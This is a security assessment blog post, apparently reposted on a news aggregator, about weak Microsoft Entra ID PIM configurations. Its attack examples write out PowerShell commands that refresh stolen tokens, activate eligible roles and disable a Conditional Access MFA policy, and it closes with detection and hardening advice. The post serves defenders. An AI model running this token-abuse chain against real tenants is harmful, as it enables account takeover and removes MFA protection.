Fancy Bear, also known as APT28, has taken over thousands of residential home routers to steal passwords and authentication tokens in a wide-ranging espionage operation.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-04-07 17:06:402026-04-07 17:06:40Russian government hackers broke into thousands of home routers to steal passwords
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-04-07 15:06:412026-04-07 15:06:41RSAC 2026: How AI Is Reshaping Cybersecurity Faster Than Ever
As AI dominated RSAC 2026, CISOs and industry leaders debated its role in security, from agentic applications to the challenges of scaling human involvement in decision-making.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-04-07 13:09:402026-04-07 13:09:40Focusing on the People in Cybersecurity at RSAC 2026 Conference
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-04-07 13:09:392026-04-07 13:09:39I tested the AirPods Max 2, Sony XM6, and Bose Ultra 2: Why Bose is my top pick
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-04-07 11:06:492026-04-07 11:06:49Medusa Ransomware Fast to Exploit Vulnerabilities, Breached Systems
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-04-07 09:06:552026-04-07 09:06:55White House Seeks to Slash CISA Funding by $707 Million
This post is part of a small blog series covering common Entra ID security findings observed during real-world assessments. Each article explores selected findings in more detail to provide a clearer understanding of the underlying risks and practical implications.
Privileged Identity Management (PIM) is a service in Microsoft Entra ID that enables organizations to manage, control, and monitor privileged access.
The main features are:
Provide just-in-time privileged access
Assign time-bound access and end dates
Require approval or multifactor authentication to activate privileged roles
Require written justification for role activation
Generate notifications when privileged roles are activated
A common use case is to avoid permanently assigning the Global Administrator role. Instead, users or group members are made eligible to activate the role only when needed and only for a limited period.
The activation of a role can be protected by additional requirements such as MFA, approval, or justification. For stronger protection, activation can also require an Authentication Context1, which allows Conditional Access policies to enforce specific controls again at activation time.
PIM is available for:
Entra ID role assignments
Group assignments (member or owner)
Azure role assignments
This blog post focuses on PIM for Entra ID roles, but the same principles also apply to PIM for Groups and PIM for Azure roles.
Common Weaknesses in PIM Configuration
During security assessments, we frequently observe the same weak PIM configurations. In some cases, the use of PIM is sometimes even used to justify the absence of other important hardening measures, based on the assumption that administrators are already “protected by PIM.” In this chapter, we look at several weak configurations that can occur in practice and explain why PIM may provide less protection than expected when it is configured too permissively.
PIM Not Used
In some environments, PIM is not used at all, even though the required Entra ID P2 licenses are available. As a result, highly privileged roles such as Global Administrator remain assigned permanently. If such an account is compromised, for example through a phishing attack, an attacker can immediately obtain privileged access to the tenant.
High-Privilege Roles Missing from PIM Protection
Another common issue is that PIM is used for well-known sensitive roles such as Global Administrator, while other highly privileged roles remain permanently assigned.
MFA Requirement Relies Only on Built-In Azure MFA
In many environments, even highly privileged roles such as Global Administrator are protected only by the built-in Azure MFA requirement:
If an attacker can steal tokens that were issued after MFA authentication and therefore already contain the MFA claim, they may be able to activate the role themselves without an additional MFA step-up.
Another important aspect is that PIM only adds protection at the moment of role activation. If an attacker has stolen a user’s refresh token, they can wait for the legitimate user to activate the privileged role and then use the stolen refresh token to obtain a new access token with the elevated privileges.
Permanent Active Assignments Are Allowed
If permanent active assignments are allowed, privileged roles can be assigned without an expiration date, increasing the risk of long-term privileged access.
Missing Notifications
Highly privileged roles are usually not needed for day-to-day operations. Notifications for role assignments and activations can help detect unusual or unexpected use, for example outside normal working hours.
Excessive Activation Duration
Highly privileged roles are usually only needed for short administrative tasks, such as assigning other privileged roles. They should therefore only be activated for a limited time. In many environments, however, the maximum activation duration is set to more than four hours. Although users can select a shorter duration, these settings are often left unchanged in practice, which increases the exposure window.
Attack Examples
The following examples show the consequences of relying solely on the built-in Azure MFA requirement. In these scenarios, we assume that an attacker has obtained authentication tokens for the Azure portal, for example through phishing.
Example 1: Satisfying the Built-In Azure MFA Requirement
In this example, we assume that no further restrictions for administrators are enforced through Conditional Access policies and that only MFA is required. The admin user Alice has an eligible assignment for the Entra ID role Conditional Access Administrator. In the PIM role settings, only Azure MFA is required and no approval is necessary for activation.
The stolen access token contains the value mfa in the amr claim. This indicates that the user Alice authenticated using MFA:
PS> invoke-parseJwt $tokens.access_token
aud : https://graph.microsoft.com
amr : {pwd, mfa}
app_displayname : Azure Portal
appid : c44b4083-3bb0-49c1-b47d-974e53cbdf3c
idtyp : user
name : Admin Alice
oid : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp : email openid Organization.Read.All Policy.ReadWrite.ApplicationConfiguration profile User.Read
tid : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]
The access token obtained in this case does not contain the scope2 required to query the Conditional Access policies. However, the token is still highly powerful and can be used for the BroCi 3 auth flow, for example with tools such as EntraTokenAid, to obtain a new token with the required Policy.Read.All scope:
PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID '74658136-14ec-4630-ad9b-26e160ff0fc6' -BrkClientId 'c44b4083-3bb0-49c1-b47d-974e53cbdf3c' -RedirectUri 'brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://portal.azure.com' -Origin 'https://portal.azure.com'
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/18/2026 11:15:11
The newly obtained token includes a large number of pre-consented scopes of the Microsoft first-party application ADIbizaUX, including those required to interact with Conditional Access policies:
Since the Conditional Access Administrator role is not permanently assigned, access to Conditional Access policies is still not possible:
PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!
PS> Get-MgIdentityConditionalAccessPolicy
Get-MgIdentityConditionalAccessPolicy_List: Your account does not have access to this report or data. Please contact your global administrator to request access. One of the following roles is required: Security Reader, Company Administrator, Security Administrator, Conditional Access Administrator, Global Reader, Devices Admin, Entra Network Access Administrator.
Status: 403 (Forbidden)
However, the user object ID contained in the access token can be used to verify that the user is eligible to activate the Conditional Access Administrator role:
PS> (Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -Filter "principalId eq '5a29624c-484c-4f59-b13d-7436cd9b36fb'" -All -ExpandProperty "roleDefinition").RoleDefinition | ft DisplayName,Id
DisplayName Id
----------- --
Conditional Access Administrator b1be1c3e-b65d-4f19-8427-f6fa0d97feb9
The role ID can then be used by the attacker to activate the role directly:
To use the newly activated role, the attacker only needs to refresh the token and reconnect to the Microsoft Graph PowerShell module. The refreshed token now provides access to the Conditional Access policies:
PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID '74658136-14ec-4630-ad9b-26e160ff0fc6' -BrkClientId 'c44b4083-3bb0-49c1-b47d-974e53cbdf3c' -RedirectUri 'brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://portal.azure.com' -Origin 'https://portal.azure.com'
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/17/2026 12:50:56
PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!
PS> Get-MgIdentityConditionalAccessPolicy | ft Displayname,ID,State
DisplayName Id State
----------- -- -----
Enforce_MFA_All_User da2a711b-6404-4287-b784-90b36442ccdf enabled
[CUT-BY-COMPASS]
With the Conditional Access Administrator role, the attacker can modify the policies, for example by excluding users or disabling them:
PS> Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId "da2a711b-6404-4287-b784-90b36442ccdf" -BodyParameter @{state = "disabled"}
PS> Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId "da2a711b-6404-4287-b784-90b36442ccdf" | ft Displayname,ID,State
DisplayName Id State
----------- -- -----
Enforce_MFA_All_User da2a711b-6404-4287-b784-90b36442ccdf disabled
This example shows that PIM may offer only limited protection if it is configured too permissively and an attacker obtains a powerful token, such as one issued for an administrative portal session. If role activation had required an Authentication Context that enforces re-authentication during activation, this abuse path would have been significantly more difficult to exploit.
Example 2: Using a Stolen Refresh Token
In this second example, MFA is not enforced by a Conditional Access policy and is required only during activation of a privileged role such as User Administrator.
In this scenario, the attacker obtained authentication tokens for Alice’s Microsoft Teams client. Because Alice did not authenticate with MFA, the amr claim does not contain the value mfa:
PS> invoke-parseJwt $tokens.access_token
aud : https://graph.microsoft.com
iss : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr : {pwd}
app_displayname : Microsoft Teams
appid : 1fec8e78-bce4-4aaf-ab1b-5451cc387264
name : Admin Alice
oid : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp : AppCatalog.Read.All Calendars.Read Calendars.Read.Shared Calendars.ReadWrite Calendars.ReadWrite.Shared Channel.ReadBasic.All ChatMessage.Send Contacts.ReadWrite.Shared email Files.ReadWrite.All FileStorageContainer.Selected InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send MailboxSettings.ReadWrite Notes.ReadWrite.All openid Organization.Read.All People.Read Place.Read.All profile Sites.ReadWrite.All Tasks.ReadWrite Team.ReadBasic.All TeamsAppInstallation.ReadForTeam TeamsTab.Create User.ReadBasic.All
tid : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]
Since activation of the User Administrator role requires MFA, the attacker cannot activate the role directly. However, if the session lifetime is not limited through Conditional Access policies, a stolen refresh token may remain valid for up to 90 days and can continue to be extended through repeated renewal. In addition, there is no limit on the number of valid refresh tokens that exist simultaneously. Because PIM protects only the moment of role activation, the attacker can simply wait until the user activates the role.
Assume that Alice later activates the role through the portal. At that point, she must complete MFA because it is enforced by PIM:
The attacker only needs to refresh the token to obtain a new access token that now includes the newly activated privileges. In addition, the attacker can use the refresh token’s FOCI (Family of Client IDs)4 capability to request a token for the Office 365 Management client (00b41c95-dab0-4487-9791-b9d2c32c80f2), which has the delegated API permission User.ReadWrite.All pre-consented:
PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID 00b41c95-dab0-4487-9791-b9d2c32c80f2
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/17/2026 15:17:02
Inspection of the access token shows that it still does not contain the value mfa in the amr claim:
PS> invoke-parseJwt $tokens.access_token
aud : https://graph.microsoft.com
iss : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr : {pwd}
app_displayname : Office 365 Management
appid : 00b41c95-dab0-4487-9791-b9d2c32c80f2
name : Admin Alice
oid : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp : Contacts.Read Contacts.ReadWrite Directory.AccessAsUser.All email Mail.ReadWrite Mail.ReadWrite.All openid People.Read People.ReadWrite profile Tasks.ReadWrite User.ReadWrite User.ReadWrite.All
tid : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]
However, because Alice activated the role through PIM and completed MFA, the attacker can now use the refreshed token to abuse those permissions. For example, the attacker may be able to reset another user’s password:
This example shows that PIM protects only the moment of role activation. It does not revoke existing sessions or require MFA again after the role has been activated. If role activation had required an Authentication Context that enforced re-authentication, this abuse path would have been prevented.
Limitation of Authentication Context
In the previous two examples, an Authentication Context was described as an important additional protection. The obvious question is whether an Authentication Context is sufficient to prevent these attacks completely.
Unfortunately, there is an important limitation: “The policy factors in five minutes of clock skew when every time is selected, so that it doesn’t prompt users more often than once every five minutes.5”
This means that Example 1 may still work if the attacker obtains freshly issued tokens that already contain the MFA claim and uses them within five minutes to activate the role. In our experience, this even work when additional grant controls are configured, such as requiring a compliant or hybrid-joined device.
One possible mitigation is to create an additional Conditional Access policy that blocks access unless specific conditions are met, such as a trusted IP range or a device filter, and assign it to the same Authentication Context. Although this approach is not officially documented by Microsoft, our testing showed that it can prevent role activation during the first five minutes after authentication.
Detecting Weak PIM Configuration with EntraFalcon
EntraFalcon is a PowerShell-based assessment and enumeration tool designed to evaluate Microsoft Entra ID environments and identify privileged objects and risky configurations. The tool is open source, available free of charge, and exports results as local interactive HTML reports for offline analysis. Installation instructions and usage details are available on GitHub: https://github.com/CompassSecurity/EntraFalcon
EntraFalcon enumerates the PIM settings for all Entra ID roles in the tenant. It provides an overview table of the most important role settings and allows direct navigation to the detailed configuration of each role. In addition, it includes built-in checks to identify weak configurations, particularly for Tier-0 roles.
For example, the check PIM-002 identifies direct assignments to Entra ID Tier-0 roles that therefore do not require PIM for activation:
Another example is the check PIM-009, which identifies Tier-0 roles that do not require approval or an Authentication Context:
Examples of other PIM-related checks include:
The PIM report also includes a table-based overview of all PIM role settings:
The detailed configuration of each role can also be reviewed directly:
Recommendations
Appropriate recommendations depend heavily on the organization, the role concept, and the additional protection mechanisms in place, such as phishing-resistant authentication methods, privileged access workstations for Tier-0 administrators, or IP- and device-based restrictions. The following recommendations should therefore be understood as general guidance and adapted to the specific environment.
It is also important to note that PIM alone is not sufficient to fully protect privileged access. Especially for sensitive accounts, it should be combined with a restrictive Conditional Access Policy configuration, for example by enforcing device-based controls.
Recommendations for Tier-0 / Control-Plane Roles
Highly privileged roles such as Global Administrator should only be used for very specific and typically short tasks. Therefore, it is generally feasible to apply restrictive PIM settings. In addition to protecting these roles, restrictive settings also reduce the likelihood that administrators continue using them out of convenience.
Examples of such roles include:
Global Administrator
Privileged Authentication Administrator
Privileged Role Administrator
Domain Name Administrator
External Identity Provider Administrator
Hybrid Identity Administrator
Security Administrator
Application Administrator*
Cloud Application Administrator*
* For the Application Administrator and Cloud Application Administrator roles, the risk depends on whether privileged applications exist in the tenant. However, since this is the case in many environments, it is often reasonable to treat these roles as highly privileged as well.
Recommended settings:
Activation maximum duration: 2 to 4 hours
On activation require: An Authentication Context that enforces:
MFA, ideally phishing-resistant
Sign-in frequency: every time
Optionally, block activation unless access originates from specific IP ranges or devices*
Require justification on activation: Yes
Require approval to activate: Yes**
Notification on role activation: Yes
Allow permanent active assignment: No***
* This can help prevent abuse during the first five minutes after authentication. If equivalent restrictions are already enforced through Conditional Access policies, this may be unnecessary.
** For the strongest protection, a robust approval workflow can help prevent attackers from activating the role themselves, even if they have compromised an administrator’s device.
*** Permanent active assignments should only be considered for roles used by emergency accounts.
Recommendations for Lower-Tier Roles
Lower-tier roles may be used for daily operational tasks, for example by service desk staff managing user accounts. Therefore, requiring approval and generating notifications for every activation often adds little security value while creating unnecessary approval and alert fatigue.
However, not all lower-tier roles are equal. Some are used daily, while others are assigned only occasionally or still provide access to sensitive functions. The appropriate settings should therefore depend not only on the role itself, but also on its actual use and effective assignments in the tenant.
A pragmatic baseline can be:
Activation maximum duration: 10 to 12 hours
On activation require: An Authentication Context that enforces:
MFA, ideally phishing-resistant
Sign-in frequency: every time*
Require justification on activation: Yes
Require approval to activate: No
Notification on role activation: No
* Note that the Authentication Context may have no usability impact if the role is activated within five minutes of authentication.
Where a role is rarely used or still enables sensitive changes, stricter settings may still be appropriate.